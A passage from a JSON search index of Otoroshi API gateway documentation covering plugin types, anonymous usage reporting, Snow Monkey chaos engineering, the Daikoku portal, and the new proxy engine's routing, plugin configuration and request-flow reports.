}\n###Request Sink\n\nUsed when no services are matched in Otoroshi. Can reply with any content.\n@@@\n\n@@@ div { .plugin-kind }\n###Pre routing\n\nUsed to extract values (like custom apikeys) and provide them to other plugins or Otoroshi engine\n@@@\n\n@@@ div { .plugin-kind }\n###Access Validator\n\nUsed to validate if a request can pass or not based on whatever you want\n@@@\n\n@@@ div { .plugin-kind }\n###Request Transformer\n\nUsed to transform request, responses and their body. Can be used to return arbitrary content\n@@@\n\n@@@ div { .plugin-kind }\n###Event listener\n\nAny plugin type can listen to Otoroshi internal events and react to thems\n@@@\n\n@@@ div { .plugin-kind }\n###Job\n\nTasks that can run automatically once, on be scheduled with a cron expression or every defined interval\n@@@\n\n@@@ div { .plugin-kind }\n###Exporter\n\nUsed to export events and Otoroshi alerts to an external source\n@@@\n\n@@@ div { .plugin-kind }\n###Request handler\n\nUsed to handle traffic without passing through Otoroshi routing and apply own rules\n@@@\n\n@@@ div { .plugin-kind }\n###Nano app\n\nUsed to write an api directly in Otoroshi in Scala language\n@@@"},{"name":"search.md","id":"/search.md","url":"/search.html","title":"Search otoroshi documentation","content":"# Search otoroshi documentation\n\n
\n\n"},{"name":"anonymous-reporting.md","id":"/topics/anonymous-reporting.md","url":"/topics/anonymous-reporting.html","title":"Anonymous reporting","content":"# Anonymous reporting\n\nThe best way of supporting us in Otoroshi developement is to enable Anonymous reporting.\n\n## Details\n\nWhen this feature is active, Otoroshi perdiodically send anonymous information about its configuration.\n\nThis information helps us to know how Otoroshi is used, it's a precious hint to prioritise our roadmap.\n\nBelow is an example of what is send by Otoroshi. You can find more information about these fields either on @ref:[entities documentation](../entities/index.md) or [by reading the source code](https://github.com/MAIF/otoroshi/blob/master/otoroshi/app/jobs/reporting.scala#L174-L458).\n\n```json\n{\n \"@timestamp\": 1679514537259,\n \"timestamp_str\": \"2023-03-22T20:48:57.259+01:00\",\n \"@id\": \"4edb54171-8156-4947-b821-41d6c2bd1ba7\",\n \"otoroshi_cluster_id\": \"1148aee35-a487-47b0-b494-a2a44862c618\",\n \"otoroshi_version\": \"16.0.0-dev\",\n \"java_version\": {\n \"version\": \"11.0.16.1\",\n \"vendor\": \"Eclipse Adoptium\"\n },\n \"os\": {\n \"name\": \"Mac OS X\",\n \"version\": \"13.1\",\n \"arch\": \"x86_64\"\n },\n \"datastore\": \"file\",\n \"env\": \"dev\",\n \"features\": {\n \"snow_monkey\": false,\n \"clever_cloud\": false,\n \"kubernetes\": false,\n \"elastic_read\": true,\n \"lets_encrypt\": false,\n \"auto_certs\": false,\n \"wasm_manager\": true,\n \"backoffice_login\": false\n },\n \"stats\": {\n \"calls\": 3823,\n \"data_in\": 480406,\n \"data_out\": 4698261,\n \"rate\": 0,\n \"duration\": 35.89899494949495,\n \"overhead\": 24.696984848484846,\n \"data_in_rate\": 0,\n \"data_out_rate\": 0,\n \"concurrent_requests\": 0\n },\n \"engine\": {\n \"uses_new\": true,\n \"uses_new_full\": false\n },\n \"cluster\": {\n \"mode\": \"Leader\",\n \"all_nodes\": 1,\n \"alive_nodes\": 1,\n \"leaders_count\": 1,\n \"workers_count\": 0,\n \"nodes\": [\n {\n \"id\": \"node_15ac62ec3-3e0d-48c1-a8ea-15de97088e3c\",\n \"os\": {\n \"name\": \"Mac OS X\",\n \"version\": \"13.1\",\n \"arch\": \"x86_64\"\n },\n \"java_version\": {\n \"version\": \"11.0.16.1\",\n \"vendor\": \"Eclipse Adoptium\"\n },\n \"version\": \"16.0.0-dev\",\n \"type\": \"Leader\",\n \"cpu_usage\": 10.992902320605205,\n \"load_average\": 44.38720703125,\n \"heap_used\": 527,\n \"heap_size\": 2048,\n \"relay\": true,\n \"tunnels\": 0\n }\n ]\n },\n \"entities\": {\n \"scripts\": {\n \"count\": 0,\n \"by_kind\": {}\n },\n \"routes\": {\n \"count\": 24,\n \"plugins\": {\n \"min\": 1,\n \"max\": 26,\n \"avg\": 4\n }\n },\n \"router_routes\": {\n \"count\": 27,\n \"http_clients\": {\n \"ahc\": 25,\n \"akka\": 2,\n \"netty\": 0,\n \"akka_ws\": 0\n },\n \"plugins\": {\n \"min\": 1,\n \"max\": 26,\n \"avg\": 4\n }\n },\n \"route_compositions\": {\n \"count\": 1,\n \"plugins\": {\n \"min\": 1,\n \"max\": 1,\n \"avg\": 1\n },\n \"by_kind\": {\n \"global\": 1\n }\n },\n \"apikeys\": {\n \"count\": 6,\n \"by_kind\": {\n \"disabled\": 0,\n \"with_rotation\": 0,\n \"with_read_only\": 0,\n \"with_client_id_only\": 0,\n \"with_constrained_services\": 0,\n \"with_meta\": 2,\n \"with_tags\": 1\n },\n \"authorized_on\": {\n \"min\": 1,\n \"max\": 4,\n \"avg\": 2\n }\n },\n \"jwt_verifiers\": {\n \"count\": 6,\n \"by_strategy\": {\n \"pass_through\": 6\n },\n \"by_alg\": {\n \"HSAlgoSettings\": 6\n }\n },\n \"certificates\": {\n \"count\": 9,\n \"by_kind\": {\n \"auto_renew\": 6,\n \"exposed\": 6,\n \"client\": 1,\n \"keypair\": 1\n }\n },\n \"auth_modules\": {\n \"count\": 8,\n \"by_kind\": {\n \"basic\": 7,\n \"oauth2\": 1\n }\n },\n \"service_descriptors\": {\n \"count\": 3,\n \"plugins\": {\n \"old\": 0,\n \"new\": 0\n },\n \"by_kind\": {\n \"disabled\": 1,\n \"fault_injection\": 0,\n \"health_check\": 1,\n \"gzip\": 0,\n \"jwt\": 0,\n \"cors\": 1,\n \"auth\": 0,\n \"protocol\": 0,\n \"restrictions\": 0\n }\n },\n \"teams\": {\n \"count\": 2\n },\n \"tenants\": {\n \"count\": 2\n },\n \"service_groups\": {\n \"count\": 2\n },\n \"data_exporters\": {\n \"count\": 10,\n \"by_kind\": {\n \"elastic\": 5,\n \"file\": 2,\n \"metrics\": 1,\n \"console\": 1,\n \"s3\": 1\n }\n },\n \"otoroshi_admins\": {\n \"count\": 5,\n \"by_kind\": {\n \"simple\": 2,\n \"webauthn\": 3\n }\n },\n \"backoffice_sessions\": {\n \"count\": 1,\n \"by_kind\": {\n \"simple\": 1\n }\n },\n \"private_apps_sessions\": {\n \"count\": 0,\n \"by_kind\": {}\n },\n \"tcp_services\": {\n \"count\": 0\n }\n },\n \"plugins_usage\": {\n \"cp:otoroshi.next.plugins.AdditionalHeadersOut\": 2,\n \"cp:otoroshi.next.plugins.DisableHttp10\": 2,\n \"cp:otoroshi.next.plugins.OverrideHost\": 27,\n \"cp:otoroshi.next.plugins.TailscaleFetchCertificate\": 1,\n \"cp:otoroshi.next.plugins.OtoroshiInfos\": 6,\n \"cp:otoroshi.next.plugins.MissingHeadersOut\": 2,\n \"cp:otoroshi.next.plugins.Redirection\": 2,\n \"cp:otoroshi.next.plugins.OtoroshiChallenge\": 5,\n \"cp:otoroshi.next.plugins.BuildMode\": 2,\n \"cp:otoroshi.next.plugins.XForwardedHeaders\": 2,\n \"cp:otoroshi.next.plugins.NgLegacyAuthModuleCall\": 2,\n \"cp:otoroshi.next.plugins.Cors\": 4,\n \"cp:otoroshi.next.plugins.OtoroshiHeadersIn\": 2,\n \"cp:otoroshi.next.plugins.NgDefaultRequestBody\": 1,\n \"cp:otoroshi.next.plugins.NgHttpClientCache\": 1,\n \"cp:otoroshi.next.plugins.ReadOnlyCalls\": 2,\n \"cp:otoroshi.next.plugins.RemoveHeadersIn\": 2,\n \"cp:otoroshi.next.plugins.JwtVerificationOnly\": 1,\n \"cp:otoroshi.next.plugins.ApikeyCalls\": 3,\n \"cp:otoroshi.next.plugins.WasmAccessValidator\": 3,\n \"cp:otoroshi.next.plugins.WasmBackend\": 3,\n \"cp:otoroshi.next.plugins.IpAddressAllowedList\": 2,\n \"cp:otoroshi.next.plugins.AuthModule\": 4,\n \"cp:otoroshi.next.plugins.RemoveHeadersOut\": 2,\n \"cp:otoroshi.next.plugins.IpAddressBlockList\": 2,\n \"cp:otoroshi.next.proxy.ProxyEngine\": 1,\n \"cp:otoroshi.next.plugins.JwtVerification\": 3,\n \"cp:otoroshi.next.plugins.GzipResponseCompressor\": 2,\n \"cp:otoroshi.next.plugins.SendOtoroshiHeadersBack\": 3,\n \"cp:otoroshi.next.plugins.AdditionalHeadersIn\": 4,\n \"cp:otoroshi.next.plugins.SOAPAction\": 1,\n \"cp:otoroshi.next.plugins.NgLegacyApikeyCall\": 6,\n \"cp:otoroshi.next.plugins.ForceHttpsTraffic\": 2,\n \"cp:otoroshi.next.plugins.NgErrorRewriter\": 1,\n \"cp:otoroshi.next.plugins.MissingHeadersIn\": 2,\n \"cp:otoroshi.next.plugins.MaintenanceMode\": 3,\n \"cp:otoroshi.next.plugins.RoutingRestrictions\": 2,\n \"cp:otoroshi.next.plugins.HeadersValidation\": 2\n }\n}\n```\n\n## Toggling\n\nAnonymous reporting can be toggled any time using :\n\n- the UI (Features > Danger zone > Send anonymous reports)\n- `otoroshi.anonymous-reporting.enabled` configuration\n- `OTOROSHI_ANONYMOUS_REPORTING_ENABLED` env variable\n"},{"name":"chaos-engineering.md","id":"/topics/chaos-engineering.md","url":"/topics/chaos-engineering.html","title":"Chaos engineering with the Snow Monkey","content":"# Chaos engineering with the Snow Monkey\n\nNihonzaru (the Snow Monkey) is the chaos engineering tool provided by Otoroshi. You can access it at `Settings (cog icon) / Snow Monkey`.\n\n@@@ div { .centered-img }\n\n@@@\n\n## Chaos engineering\n\nOtoroshi offers some tools to introduce [chaos engineering](https://principlesofchaos.org/) in your everyday life. With chaos engineering, you will improve the resilience of your architecture by creating faults in production on running systems. With [Nihonzaru (the snow monkey)](https://en.wikipedia.org/wiki/Japanese_macaque) Otoroshi helps you to create faults on http request/response handled by Otoroshi. \n\n@@@ div { .centered-img }\n\n@@@\n\n## Settings\n\n@@@ div { .centered-img }\n\n@@@\n\nThe snow monkey let you define a few settings to work properly :\n\n* **Include user facing apps.**: you want to create fault in production, but maybe you don't want your users to enjoy some nice snow monkey generated error pages. Using this switch let you include of not user facing apps (ui apps). Each service descriptor has a `User facing app switch` that will be used by the snow monkey.\n* **Dry run**: when dry run is enabled, outages will be registered and will generate events and alerts (in the otoroshi eventing system) but requests won't be actualy impacted. It's a good way to prepare applications to the snow monkey habits\n* **Outage strategy**: Either `AllServicesPerGroup` or `OneServicePerGroup`. It means that only one service per group or all services per groups will have `n` outages (see next bullet point) during the snow monkey working period\n* **Outages per day**: during snow monkey working period, each service per group or one service per group will have only `n` outages registered \n* **Working period**: the snow monkey only works during a working period. Here you can defined when it starts and when it stops\n* **Outage duration**: here you can defined the bounds for the random outage duration when an outage is created on a service\n* **Impacted groups**: here you can define a list of service groups impacted by the snow monkey. If none is specified, then all service groups will be impacted\n\n## Faults\n\nWith the snow monkey, you can generate four types of faults\n\n* **Large request fault**: Add trailing bytes at the end of the request body (if one)\n* **Large response fault**: Add trailing bytes at the end of the response body\n* **Latency injection fault**: Add random response latency between two bounds\n* **Bad response injection fault**: Create predefined responses with custom headers, body and status code\n\nEach fault let you define a ratio for impacted requests. If you specify a ratio of `0.2`, then 20% of the requests for the impacte service will be impacted by this fault\n\n@@@ div { .centered-img }\n\n@@@\n\nThen you juste have to start the snow monkey and enjoy the show ;)\n\n@@@ div { .centered-img }\n\n@@@\n\n## Current outages\n\nIn the last section of the snow monkey page, you can see current outages (per service), when they started, their duration, etc ...\n\n@@@ div { .centered-img }\n\n@@@"},{"name":"dev-portal.md","id":"/topics/dev-portal.md","url":"/topics/dev-portal.html","title":"Developer portal with Daikoku","content":"# Developer portal with Daikoku\n\nWhile Otoroshi is the perfect tool to manage your webapps in a technical point of view it lacked of business perspective. This is not the case anymore with Daikoku.\n\nWhile Otoroshi is a standalone, Daikoku is a developer portal which stands in front of Otoroshi and provides some business feature.\n\nWhether you want to use Daikoku for your public APIs, you want to monetize or with your private APIs to provide some documentation, facilitation and self-service feature, it will be the perfect portal for Otoroshi.\n\n@@@div { .plugin .platform }\n## Daikoku\n\nRun your first Daikoku with a simple jar or with one Docker command.\n\n\n
\nTry Daikoku \n
\n@link:[With jar](https://maif.github.io/daikoku/devmanual/getdaikoku/frombinaries.html)\n@link:[With Docker](https://maif.github.io/daikoku/devmanual/getdaikoku/fromdocker.html)\n@@@\n\n@@@div { .plugin .platform }\n## Contribute\n\nDaikoku is opensource, so all contributions are welcome.\n\n\n@link:[Show the repository](https://github.com/MAIF/daikoku)\n@@@\n\n@@@div { .plugin .platform }\n## Documentation\n\nDaikoku and its UI are fully documented.\n\n\n@link:[Read the documentation](https://maif.github.io/daikoku/devmanual/)\n@@@\n\n"},{"name":"engine.md","id":"/topics/engine.md","url":"/topics/engine.html","title":"Proxy engine","content":"# Proxy engine\n\nStarting from the `1.5.3` release, otoroshi offers a new plugin that implements the next generation of the proxy engine. \nThis engine has been designed based on our 5 years experience building, maintaining and running the previous one.\nIt tries to fix all the drawback we may have encountered during those years and highly improve performances, user experience, reporting and debugging capabilities. \n\nThe new engine is fully plugin oriented in order to spend CPU cycles only on useful stuff. You can enable this plugin only on some domain names so you can easily A/B test the new engine. The new proxy engine is designed to be more reactive and more efficient generally. It is also designed to be very efficient on path routing where it wasn't the old engines strong suit.\n\nStarting from version `16.0.0`, this engine will be enabled by default on any new otoroshi cluster. In a future version, the engine will be enabled for any new or exisiting otoroshi cluster.\n\n## Enabling the new engine\n\nBy default, all freshly started Otoroshi instances have the new proxy engine enabled by default, for the other, to enable the new proxy engine on an otoroshi instance, just add the plugin in the `global plugins` section of the danger zone, inject the default configuration, enable it and in `domains` add the values of the desired domains (let say we want to use the new engine on `api.foo.bar`. It is possible to use `*.foo.bar` if that's what you want to do).\n\nThe next time a request hits the `api.foo.bar` domain, the new engine will handle it instead of the previous one.\n\n```json\n{\n \"NextGenProxyEngine\" : {\n \"enabled\" : true,\n \"debug_headers\" : false,\n \"reporting\": true,\n \"domains\" : [ \"api.foo.bar\" ],\n \"deny_domains\" : [ ],\n }\n}\n```\n\nif you need to enable global plugin with the new engine, you can add the following configuration in the `global plugins` configuration object \n\n```javascript\n{\n ...\n \"ng\": {\n \"slots\": [\n {\n \"plugin\": \"cp:otoroshi.next.plugins.W3CTracing\",\n \"enabled\": true,\n \"include\": [],\n \"exclude\": [],\n \"config\": {\n \"baggage\": {\n \"foo\": \"bar\"\n }\n }\n },\n {\n \"plugin\": \"cp:otoroshi.next.plugins.wrappers.RequestSinkWrapper\",\n \"enabled\": true,\n \"include\": [],\n \"exclude\": [],\n \"config\": {\n \"plugin\": \"cp:otoroshi.plugins.apikeys.ClientCredentialService\",\n \"ClientCredentialService\": {\n \"domain\": \"ccs-next-gen.oto.tools\",\n \"expiration\": 3600000,\n \"defaultKeyPair\": \"otoroshi-jwt-signing\",\n \"secure\": false\n }\n }\n }\n ]\n }\n ...\n}\n```\n\n## Entities\n\nThis plugin introduces new entities that will replace (one day maybe) service descriptors:\n\n - `routes`: a unique routing rule based on hostname, path, method and headers that will execute a bunch of plugins\n - `backends`: a list of targets to contact a backend\n\n## Entities sync\n\nA new behavior introduced for the new proxy engine is the entities sync job. To avoid unecessary operations on the underlying datastore when routing requests, a new job has been setup in otoroshi that synchronize the content of the datastore (at least a part of it) with an in-memory cache. Because of it, the propagation of changes between an admin api call and the actual result on routing can be longer than before. When a node creates, updates, or deletes an entity via the admin api, other nodes need to wait for the next poll to purge the old cached entity and start using the new one. You can change the interval between syncs with the configuration key `otoroshi.next.state-sync-interval` or the env. variable `OTOROSHI_NEXT_STATE_SYNC_INTERVAL`. The default value is `10000` and the unit is `milliseconds`\n\n@@@ warning\nBecause of entities sync, memory consumption of otoroshi will be significantly higher than previous versions. You can use `otoroshi.next.monitor-proxy-state-size=true` config (or `OTOROSHI_NEXT_MONITOR_PROXY_STATE_SIZE` env. variable) to monitor the actual memory size of the entities cache. This will produce the `ng-proxy-state-size-monitoring` metric in standard otoroshi metrics\n@@@\n\n## Automatic conversion\n\nThe new engine uses new entities for its configuration, but in order to facilitate transition between the old world and the new world, all the `service descriptors` of an otoroshi instance are automatically converted live into `routes` periodically. Any `service descriptor` should still work as expected through the new engine while enjoying all the perks.\n\n@@@ warning\nthe experimental nature of the engine can imply unexpected behaviors for converted service descriptors\n@@@\n\n## Routing\n\nthe new proxy engine introduces a new router that has enhanced capabilities and performances. The router can handle thousands of routes declarations without compromising performances.\n\nThe new route allow routes to be matched on a combination of\n\n* hostname\n* path\n* header values\n * where values can be `exact_value`, or `Regex(value_regex)`, or `Wildcard(value_with_*)`\n* query param values\n * where values can be `exact_value`, or `Regex(value_regex)`, or `Wildcard(value_with_*)`\n\npatch matching works \n\n* exactly\n * matches `/api/foo` with `/api/foo` and not with `/api/foo/bar`\n* starting with value (default behavior, like the previous engine)\n * matches `/api/foo` with `/api/foo` but also with `/api/foo/bar`\n\npath matching can also include wildcard paths and even path params\n\n* plain old path: `subdomain.domain.tld/api/users`\n* wildcard path: `subdomain.domain.tld/api/users/*/bills`\n* named path params: `subdomain.domain.tld/api/users/:id/bills`\n* named regex path params: `subdomain.domain.tld/api/users/$id<[0-9]+>/bills`\n\nhostname matching works on \n\n* exact values\n * `subdomain.domain.tld`\n* wildcard values like\n * `*.domain.tld`\n * `subdomain.*.tld`\n\nas path matching can now include named path params, it is possible to perform a ful url rewrite on the target path like \n\n* input: `subdomain.domain.tld/api/users/$id<[0-9]+>/bills`\n* output: `target.domain.tld/apis/v1/basic_users/${req.pathparams.id}/all_bills`\n\n## Plugins\n\nthe new route entity defines a plugin pipline where any plugin can be enabled or not and can be active only on some paths. \nEach plugin slot in the pipeline holds the plugin id and the plugin configuration. \n\nYou can also enable debugging only on a plugin instance instead of the whole route (see [the debugging section](#debugging))\n\n```javascript\n{ \n ...\n \"plugins\" : [ {\n \"enabled\" : true,\n \"debug\" : false,\n \"plugin\" : \"cp:otoroshi.next.plugins.OverrideHost\",\n \"include\" : [ ],\n \"exclude\" : [ ],\n \"config\" : { }\n }, {\n \"enabled\" : true,\n \"debug\" : false,\n \"plugin\" : \"cp:otoroshi.next.plugins.ApikeyCalls\",\n \"include\" : [ ],\n \"exclude\" : [ \"/openapi.json\" ],\n \"config\" : { }\n } ]\n}\n```\n\nyou can find the list of built-in plugins @ref:[here](../plugins/built-in-plugins.md)\n\n## Using legacy plugins\n\nif you need to use legacy otoroshi plugins with the new engine, you can use several wrappers in order to do so\n\n* `otoroshi.next.plugins.wrappers.PreRoutingWrapper`\n* `otoroshi.next.plugins.wrappers.AccessValidatorWrapper`\n* `otoroshi.next.plugins.wrappers.RequestSinkWrapper`\n* `otoroshi.next.plugins.wrappers.RequestTransformerWrapper`\n* `otoroshi.next.plugins.wrappers.CompositeWrapper`\n\nto use it, just declare a plugin slot with the right wrapper and in the config, declare the `plugin` you want to use and its configuration like:\n\n```javascript\n{\n \"plugin\": \"cp:otoroshi.next.plugins.wrappers.PreRoutingWrapper\",\n \"enabled\": true,\n \"include\": [],\n \"exclude\": [],\n \"config\": {\n \"plugin\": \"cp:otoroshi.plugins.jwt.JwtUserExtractor\",\n \"JwtUserExtractor\": {\n \"verifier\" : \"$ref\",\n \"strict\" : true,\n \"namePath\" : \"name\",\n \"emailPath\": \"email\",\n \"metaPath\" : null\n }\n }\n}\n```\n\n## Reporting\n\nby default, any request hiting the new engine will generate an execution report with informations about how the request pipeline steps were performed. It is possible to export those reports as `RequestFlowReport` events using classical data exporter. By default, exporting for reports is not enabled, you must enable the `export_reporting` flag on a `route` or `service`.\n\n```javascript\n{\n \"@id\": \"8efac472-07bc-4a80-8d27-4236309d7d01\",\n \"@timestamp\": \"2022-02-15T09:51:25.402+01:00\",\n \"@type\": \"RequestFlowReport\",\n \"@product\": \"otoroshi\",\n \"@serviceId\": \"service_548f13bb-a809-4b1d-9008-fae3b1851092\",\n \"@service\": \"demo-service\",\n \"@env\": \"prod\",\n \"route\": {\n \"_loc\" : {\n \"tenant\" : \"default\",\n \"teams\" : [ \"default\" ]\n },\n \"id\" : \"service_dev_d54f11d0-18e2-4da4-9316-cf47733fd29a\",\n \"name\" : \"hey\",\n \"description\" : \"hey\",\n \"tags\" : [ \"env:prod\" ],\n \"metadata\" : { },\n \"enabled\" : true,\n \"debug_flow\" : true,\n \"export_reporting\" : false,\n \"groups\" : [ \"default\" ],\n \"frontend\" : {\n \"domains\" : [ \"hey-next-gen.oto.tools/\", \"hey.oto.tools/\" ],\n \"strip_path\" : true,\n \"exact\" : false,\n \"headers\" : { },\n \"methods\" : [ ]\n },\n \"backend\" : {\n \"targets\" : [ {\n \"id\" : \"127.0.0.1:8081\",\n \"hostname\" : \"127.0.0.1\",\n \"port\" : 8081,\n \"tls\" : false,\n \"weight\" : 1,\n \"protocol\" : \"HTTP/1.1\",\n \"ip_address\" : null,\n \"tls_config\" : {\n \"certs\" : [ ],\n \"trustedCerts\" : [ ],\n \"mtls\" : false,\n \"loose\" : false,\n \"trustAll\" : false\n }\n } ],\n \"target_refs\" : [ ],\n \"root\" : \"/\",\n \"rewrite\" : false,\n \"load_balancing\" : {\n \"type\" : \"RoundRobin\"\n },\n \"client\" : {\n \"useCircuitBreaker\" : true,\n \"retries\" : 1,\n \"maxErrors\" : 20,\n \"retryInitialDelay\" : 50,\n \"backoffFactor\" : 2,\n \"callTimeout\" : 30000,\n \"callAndStreamTimeout\" : 120000,\n \"connectionTimeout\" : 10000,\n \"idleTimeout\" : 60000,\n \"globalTimeout\" : 30000,\n \"sampleInterval\" : 2000,\n \"proxy\" : { },\n \"customTimeouts\" : [ ],\n \"cacheConnectionSettings\" : {\n \"enabled\" : false,\n \"queueSize\" : 2048\n }\n }\n },\n \"backend_ref\" : null,\n \"plugins\" : [ ]\n },\n \"report\": {\n \"id\" : \"ab73707b3-946b-4853-92d4-4c38bbaac6d6\",\n \"creation\" : \"2022-02-15T09:51:25.402+01:00\",\n \"termination\" : \"2022-02-15T09:51:25.408+01:00\",\n \"duration\" : 5,\n \"duration_ns\" : 5905522,\n \"overhead\" : 4,\n \"overhead_ns\" : 4223215,\n \"overhead_in\" : 2,\n \"overhead_in_ns\" : 2687750,\n \"overhead_out\" : 1,\n \"overhead_out_ns\" : 1535465,\n \"state\" : \"Successful\",\n \"steps\" : [ {\n \"task\" : \"start-handling\",\n \"start\" : 1644915085402,\n \"start_fmt\" : \"2022-02-15T09:51:25.402+01:00\",\n \"stop\" : 1644915085402,\n \"stop_fmt\" : \"2022-02-15T09:51:25.402+01:00\",\n \"duration\" : 0,\n \"duration_ns\" : 177430,\n \"ctx\" : null\n }, {\n \"task\" : \"check-concurrent-requests\",\n \"start\" : 1644915085402,\n \"start_fmt\" : \"2022-02-15T09:51:25.402+01:00\",\n \"stop\" : 1644915085402,\n \"stop_fmt\" : \"2022-02-15T09:51:25.402+01:00\",\n \"duration\" : 0,\n \"duration_ns\" : 145242,\n \"ctx\" : null\n }, {\n \"task\" : \"find-route\",\n \"start\" : 1644915085402,\n \"start_fmt\" : \"2022-02-15T09:51:25.402+01:00\",\n \"stop\" : 1644915085403,\n \"stop_fmt\" : \"2022-02-15T09:51:25.403+01:00\",\n \"duration\" : 0,\n \"duration_ns\" : 497119,\n \"ctx\" : {\n \"found_route\" : {\n \"_loc\" : {\n \"tenant\" : \"default\",\n \"teams\" : [ \"default\" ]\n },\n \"id\" : \"service_dev_d54f11d0-18e2-4da4-9316-cf47733fd29a\",\n \"name\" : \"hey\",\n \"description\" : \"hey\",\n \"tags\" : [ \"env:prod\" ],\n \"metadata\" : { },\n \"enabled\" : true,\n \"debug_flow\" : true,\n \"export_reporting\" : false,\n \"groups\" : [ \"default\" ],\n \"frontend\" : {\n \"domains\" : [ \"hey-next-gen.oto.tools/\", \"hey.oto.tools/\" ],\n \"strip_path\" : true,\n \"exact\" : false,\n \"headers\" : { },\n \"methods\" : [ ]\n },\n \"backend\" : {\n \"targets\" : [ {\n \"id\" : \"127.0.0.1:8081\",\n \"hostname\" : \"127.0.0.1\",\n \"port\" : 8081,\n \"tls\" : false,\n \"weight\" : 1,\n \"protocol\" : \"HTTP/1.1\",\n \"ip_address\" : null,\n \"tls_config\" : {\n \"certs\" : [ ],\n \"trustedCerts\" : [ ],\n \"mtls\" : false,\n \"loose\" : false,\n \"trustAll\" : false\n }\n } ],\n \"target_refs\" : [ ],\n \"root\" : \"/\",\n \"rewrite\" : false,\n \"load_balancing\" : {\n \"type\" : \"RoundRobin\"\n },\n \"client\" : {\n \"useCircuitBreaker\" : true,\n \"retries\" : 1,\n \"maxErrors\" : 20,\n \"retryInitialDelay\" : 50,\n \"backoffFactor\" : 2,\n \"callTimeout\" : 30000,\n \"callAndStreamTimeout\" : 120000,\n \"connectionTimeout\" : 10000,\n \"idleTimeout\" : 60000,\n \"globalTimeout\" : 30000,\n \"sampleInterval\" : 2000,\n \"proxy\" : { },\n \"customTimeouts\" : [ ],\n \"cacheConnectionSettings\" : {\n \"enabled\" : false,\n \"queueSize\" : 2048\n }\n }\n },\n \"backend_ref\" : null,\n \"plugins\" : [ ]\n },\n \"matched_path\" : \"\",\n \"exact\" : true,\n \"params\" : { },\n \"matched_routes\" : [ \"service_dev_d54f11d0-18e2-4da4-9316-cf47733fd29a\" ]\n }\n }, {\n \"task\" : \"compute-plugins\",\n \"start\" : 1644915085403,\n \"start_fmt\" : \"2022-02-15T09:51:25.403+01:00\",\n \"stop\" : 1644915085403,\n \"stop_fmt\" : \"2022-02-15T09:51:25.403+01:00\",\n \"duration\" : 0,\n \"duration_ns\" : 105151,\n \"ctx\" : {\n \"disabled_plugins\" : [ ],\n \"filtered_plugins\" : [ ]\n }\n }, {\n \"task\" : \"tenant-check\",\n \"start\" : 1644915085403,\n \"start_fmt\" : \"2022-02-15T09:51:25.403+01:00\",\n \"stop\" : 1644915085403,\n \"stop_fmt\" : \"2022-02-15T09:51:25.403+01:00\",\n \"duration\" : 0,\n \"duration_ns\" : 26097,\n \"ctx\" : null\n }, {\n \"task\" : \"check-global-maintenance\",\n \"start\" : 1644915085403,\n \"start_fmt\" : \"2022-02-15T09:51:25.403+01:00\",\n \"stop\" : 1644915085403,\n \"stop_fmt\" : \"2022-02-15T09:51:25.403+01:00\",\n \"duration\" : 0,\n \"duration_ns\" : 14132,\n \"ctx\" : null\n }, {\n \"task\" : \"call-before-request-callbacks\",\n \"start\" : 1644915085403,\n \"start_fmt\" : \"2022-02-15T09:51:25.403+01:00\",\n \"stop\" : 1644915085403,\n \"stop_fmt\" : \"2022-02-15T09:51:25.403+01:00\",\n \"duration\" : 0,\n \"duration_ns\" : 56671,\n \"ctx\" : null\n }, {\n \"task\" : \"extract-tracking-id\",\n \"start\" : 1644915085403,\n \"start_fmt\" : \"2022-02-15T09:51:25.403+01:00\",\n \"stop\" : 1644915085403,\n \"stop_fmt\" : \"2022-02-15T09:51:25.403+01:00\",\n \"duration\" : 0,\n \"duration_ns\" : 5207,\n \"ctx\" : null\n }, {\n \"task\" : \"call-pre-route-plugins\",\n \"start\" : 1644915085403,\n \"start_fmt\" : \"2022-02-15T09:51:25.403+01:00\",\n \"stop\" : 1644915085403,\n \"stop_fmt\" : \"2022-02-15T09:51:25.403+01:00\",\n \"duration\" : 0,\n \"duration_ns\" : 39786,\n \"ctx\" : null\n }, {\n \"task\" : \"call-access-validator-plugins\",\n \"start\" : 1644915085403,\n \"start_fmt\" : \"2022-02-15T09:51:25.403+01:00\",\n \"stop\" : 1644915085403,\n \"stop_fmt\" : \"2022-02-15T09:51:25.403+01:00\",\n \"duration\" : 0,\n \"duration_ns\" : 25311,\n \"ctx\" : null\n }, {\n \"task\" : \"enforce-global-limits\",\n \"start\" : 1644915085403,\n \"start_fmt\" : \"2022-02-15T09:51:25.403+01:00\",\n \"stop\" : 1644915085404,\n \"stop_fmt\" : \"2022-02-15T09:51:25.404+01:00\",\n \"duration\" : 0,\n \"duration_ns\" : 296617,\n \"ctx\" : {\n \"remaining_quotas\" : {\n \"authorizedCallsPerSec\" : 10000000,\n \"currentCallsPerSec\" : 10000000,\n \"remainingCallsPerSec\" : 10000000,\n \"authorizedCallsPerDay\" : 10000000,\n \"currentCallsPerDay\" : 10000000,\n \"remainingCallsPerDay\" : 10000000,\n \"authorizedCallsPerMonth\" : 10000000,\n \"currentCallsPerMonth\" : 10000000,\n \"remainingCallsPerMonth\" : 10000000\n }\n }\n }, {\n \"task\" : \"choose-backend\",\n \"start\" : 1644915085404,\n \"start_fmt\" : \"2022-02-15T09:51:25.404+01:00\",\n \"stop\" : 1644915085404,\n \"stop_fmt\" : \"2022-02-15T09:51:25.404+01:00\",\n \"duration\" : 0,\n \"duration_ns\" : 368899,\n \"ctx\" : {\n \"backend\" : {\n \"id\" : \"127.0.0.1:8081\",\n \"hostname\" : \"127.0.0.1\",\n \"port\" : 8081,\n \"tls\" : false,\n \"weight\" : 1,\n \"protocol\" : \"HTTP/1.1\",\n \"ip_address\" : null,\n \"tls_config\" : {\n \"certs\" : [ ],\n \"trustedCerts\" : [ ],\n \"mtls\" : false,\n \"loose\" : false,\n \"trustAll\" : false\n }\n }\n }\n }, {\n \"task\" : \"transform-request\",\n \"start\" : 1644915085404,\n \"start_fmt\" : \"2022-02-15T09:51:25.404+01:00\",\n \"stop\" : 1644915085404,\n \"stop_fmt\" : \"2022-02-15T09:51:25.404+01:00\",\n \"duration\" : 0,\n \"duration_ns\" : 506363,\n \"ctx\" : null\n }, {\n \"task\" : \"call-backend\",\n \"start\" : 1644915085404,\n \"start_fmt\" : \"2022-02-15T09:51:25.404+01:00\",\n \"stop\" : 1644915085407,\n \"stop_fmt\" : \"2022-02-15T09:51:25.407+01:00\",\n \"duration\" : 2,\n \"duration_ns\" : 2163470,\n \"ctx\" : null\n }, {\n \"task\" : \"transform-response\",\n \"start\" : 1644915085407,\n \"start_fmt\" : \"2022-02-15T09:51:25.407+01:00\",\n \"stop\" : 1644915085407,\n 